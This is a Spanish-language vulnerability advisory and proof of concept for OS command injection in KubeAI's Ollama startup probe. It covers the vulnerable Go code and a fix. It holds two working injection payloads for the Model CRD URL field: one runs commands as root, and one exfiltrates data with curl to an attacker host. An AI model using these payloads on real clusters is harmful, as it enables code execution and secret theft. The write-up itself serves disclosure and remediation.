
Prueba de concepto para la inyección de comandos del sistema operativo en la sonda de inicio de Ollama de KubeAI, que demuestra la ejecución de código arbitrario en pods de modelos de Kubernetes mediante URLs manipuladas del CRD Model.
Gravedad: Alta (CVSS 8.7)
CWE: CWE-78 — Neutralización incorrecta de elementos especiales utilizados en un comando del SO
Afectado: github.com/kubeai-project/kubeai <= 0.23.1
Corregido en: 0.23.2
Aviso: GHSA-324q-cwx9-7crr
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
Crédito: Romain Deperne
KubeAI construye un script de shell para la sonda de inicio de Kubernetes interpolando componentes de la URL del CRD Model (ref, modelParam) en un comando bash -c mediante fmt.Sprintf en Go. Los metacaracteres de shell en la URL no se sanean, lo que otorga a cualquier usuario con permisos RBAC de creación/actualización del CRD Model la ejecución arbitraria de comandos dentro de los pods del servidor de modelos — sin privilegios de cluster-admin.
Estaba revisando operadores de inferencia de IA para Kubernetes — herramientas que permiten desplegar LLMs como cargas de trabajo de K8s mediante la creación de CRDs. KubeAI es compatible con Ollama, vLLM y otros motores. Mi hipótesis era: si un usuario puede crear CRDs Model, ¿puede influir en lo que se ejecuta dentro de los pods del modelo?
El código del motor vLLM mostró de inmediato el patrón correcto: argumentos pasados como un array de cadenas a exec, sin intervención del shell. Así que revisé el motor de Ollama como contraste — y encontré fmt.Sprintf("%s %s", pullCmd, u.ref) alimentando a bash -c. La configuración clásica de inyección de shell.
La regex del analizador de URL [^?]+ (todo excepto ?) es lo que lo confirma: los puntos y coma, las comillas invertidas y $() son todos válidos en u.ref. Escribí el YAML del PoC, lo apliqué y observé cómo id > /tmp/pwned se ejecutaba dentro del pod del modelo.
El matiz que eleva la gravedad de esto: en clústeres de K8s multiinquilino, el RBAC del CRD Model a menudo se concede a equipos que explícitamente no son administradores del clúster. Esto brinda a un inquilino con privilegios restringidos una vía directa a la ejecución arbitraria de código en los pods del modelo — incluido el acceso a secretos montados y tokens de cuentas de servicio. Cruza una frontera de privilegios que se supone que el RBAC de K8s debe hacer cumplir.
Archivo: internal/modelcontroller/engine_ollama.go, líneas 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
Esta cadena se ejecuta entonces como:
Command: []string{"bash", "-c", startupProbeScript}
Analizador de URL (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
Contraste con el motor vLLM (seguro):
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
El motor de Ollama toma un atajo: construye una tubería de shell de varios pasos como una cadena y la pasa a bash -c. El motor de vLLM utiliza matrices de argumentos al estilo exec. Ningún webhook de admisión ni la validación del esquema CRD restringe el campo URL a caracteres seguros.
Consulte poc.yaml — aplique con kubectl apply -f poc.yaml en un clúster que ejecute KubeAI con modelos de Ollama.
Vector 1 — referencia de URL ollama:// (inyección con punto y coma):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
Sonda de inicio generada:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
El comando id>/tmp/pwned se ejecuta y escribe uid=0(root)... en /tmp/pwned dentro del pod.
Vector 2 — parámetro de consulta ?model= (exfiltración OOB):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Sonda generada:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
Exfiltra el nombre de usuario del pod a un servidor controlado por el atacante.
ModelReemplazar bash -c <string> por una sonda de estilo exec que pase los argumentos como un array (como ya hace el motor de vLLM), o validar los campos de URL contra ^[a-zA-Z0-9._:/-]+$ antes de la interpolación.